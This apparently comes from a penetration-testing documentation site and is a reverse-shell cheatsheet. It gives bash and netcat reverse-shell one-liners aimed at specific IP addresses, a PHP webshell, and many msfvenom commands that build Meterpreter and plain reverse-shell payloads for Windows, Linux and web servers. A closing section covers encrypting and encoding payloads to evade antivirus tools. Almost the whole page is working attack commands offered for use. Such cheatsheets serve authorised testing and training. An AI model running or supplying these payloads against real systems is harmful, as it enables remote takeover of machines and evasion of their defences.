> For the complete documentation index, see [llms.txt](https://docs.hackjiji.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.hackjiji.org/general/reverse-shell-cheatsheet.md).

# Reverse-shell-cheatsheet

## Great resource for reverse shell creation in all possible languages:

{% embed url="<https://www.revshells.com/>" %}

## Linux

```bash
bash -i >& /dev/tcp/172.25.167.7/8000 0>&1
```

```bash
cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.9 4578 > /tmp/f
```

## PHP

```php
#Webshell
system($_GET[0]);
#Reverse Shell
exec("/bin/bash -c 'bash -i >& /dev/tcp/PWNIP/PWNPO 0>&1'");
```

## Msfvenom

* Create a simple reverse tcp shell executable

```
msfvenom -p windows/shell_reverse_tcp LHOST=<your_IP> LPORT=<your_port> -f exe > shell.exe
```

### Non-Meterpreter Reverse Shells

* **Stageless** Payloads for Windows (Works with netcat)

<table data-header-hidden><thead><tr><th width="201"></th><th></th></tr></thead><tbody><tr><td>x86</td><td><code>msfvenom -p windows/shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f exe > shell.exe</code></td></tr><tr><td>x64</td><td><code>msfvenom -p windows/shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f exe > shell.exe</code></td></tr></tbody></table>

**Stageless** Payloads for Linux (Works with netcat)

<table data-header-hidden><thead><tr><th width="185"></th><th></th></tr></thead><tbody><tr><td>x86</td><td><code>msfvenom -p linux/x86/shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f elf > shell.elf</code></td></tr><tr><td>x64</td><td><code>msfvenom -p linux/x64/shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f elf > shell.elf</code></td></tr></tbody></table>

**Staged** Payloads for Windows

<table data-header-hidden><thead><tr><th width="175"></th><th></th></tr></thead><tbody><tr><td>x86</td><td><code>msfvenom -p windows/shell/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f exe > shell.exe</code></td></tr><tr><td>x64</td><td><code>msfvenom -p windows/x64/shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f exe > shell.exe</code></td></tr></tbody></table>

**Staged** Payloads for Linux

<table data-header-hidden><thead><tr><th width="181"></th><th></th></tr></thead><tbody><tr><td>x86</td><td><code>msfvenom -p linux/x86/shell/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f elf > shell.elf</code></td></tr><tr><td>x64</td><td><code>msfvenom -p linux/x64/shell/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f elf > shell.elf</code></td></tr></tbody></table>

***

### Non-Meterpreter Web Payloads

<table data-header-hidden><thead><tr><th width="173"></th><th></th></tr></thead><tbody><tr><td>asp</td><td><code>msfvenom -p windows/shell/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f asp > shell.asp</code></td></tr><tr><td>jsp</td><td><code>msfvenom -p java/jsp_shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f raw > shell.jsp</code></td></tr><tr><td>war</td><td><code>msfvenom -p java/jsp_shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f war > shell.war</code></td></tr><tr><td>php</td><td><code>msfvenom -p php/reverse_php LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f raw > shell.php</code></td></tr></tbody></table>

***

### Meterpreter Binaries

**Staged** Payloads for Windows

<table data-header-hidden><thead><tr><th width="133"></th><th></th></tr></thead><tbody><tr><td>x86</td><td><code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f exe > shell.exe</code></td></tr><tr><td>x64</td><td><code>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f exe > shell.exe</code></td></tr></tbody></table>

**Staged** Payloads for Linux

<table data-header-hidden><thead><tr><th width="132"></th><th></th></tr></thead><tbody><tr><td>x86</td><td><code>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f elf > shell.elf</code></td></tr><tr><td>x64</td><td><code>msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f elf > shell.elf</code></td></tr></tbody></table>

**Stageless** Payloads for Linux

<table data-header-hidden><thead><tr><th width="134"></th><th></th></tr></thead><tbody><tr><td>x86</td><td><code>msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f elf > shell.elf</code></td></tr><tr><td>x64</td><td><code>msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f elf > shell.elf</code></td></tr></tbody></table>

**Stageless** Payloads for Windows

<table data-header-hidden><thead><tr><th width="151"></th><th></th></tr></thead><tbody><tr><td>x86</td><td><code>msfvenom -p windows/meterpreter_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f exe > shell-x86.exe</code></td></tr><tr><td>x64</td><td><code>msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f exe > shell.exe</code></td></tr></tbody></table>

***

### Meterpreter Web Payloads

<table data-header-hidden><thead><tr><th width="128"></th><th></th></tr></thead><tbody><tr><td>asp</td><td><code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f asp > shell.asp</code></td></tr><tr><td>jsp</td><td><code>msfvenom -p java/jsp_shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f raw > example.jsp</code></td></tr><tr><td>war</td><td><code>msfvenom -p java/jsp_shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f war > example.war</code></td></tr><tr><td>php</td><td><code>msfvenom -p php/meterpreter_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f raw > shell.php</code></td></tr></tbody></table>

***

### Payload Encryption and Customization

#### Payload Encryption

To obfuscate the payload and evade (some) antivirus detection, you can use payload encryption.

**Example: Encrypting a payload**

```
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe --encrypt xor --encrypt-key <KEY> > encrypted_shell.exe
```

Replace with a custom key for XOR encryption.

#### Payload Customization

Use various obfuscation techniques to make your payload less detectable by security tools.

**Example - Obfuscating a payload with Shikata Ga Nai**

```
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -e x86/shikata_ga_nai > obfuscated_shell.exe
```

Consider adjusting payload properties to fit specific scenarios. For example, changing the sleep time to delay beacon intervals.

**Example -Modifying sleep time for a Windows reverse shell**

```
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe --platform windows --arch x86 --smallest --encrypt xor --encrypt-key <KEY> --sleep 10 > custom_shell.exe
```

Replace `<KEY>` with a custom key and adjust the sleep time as needed.

#### Credits:

{% embed url="<https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>" %}

{% embed url="<https://github.com/duck-sec/msfvenom-revshell-cheatsheet>" %}

{% embed url="<https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/>" %}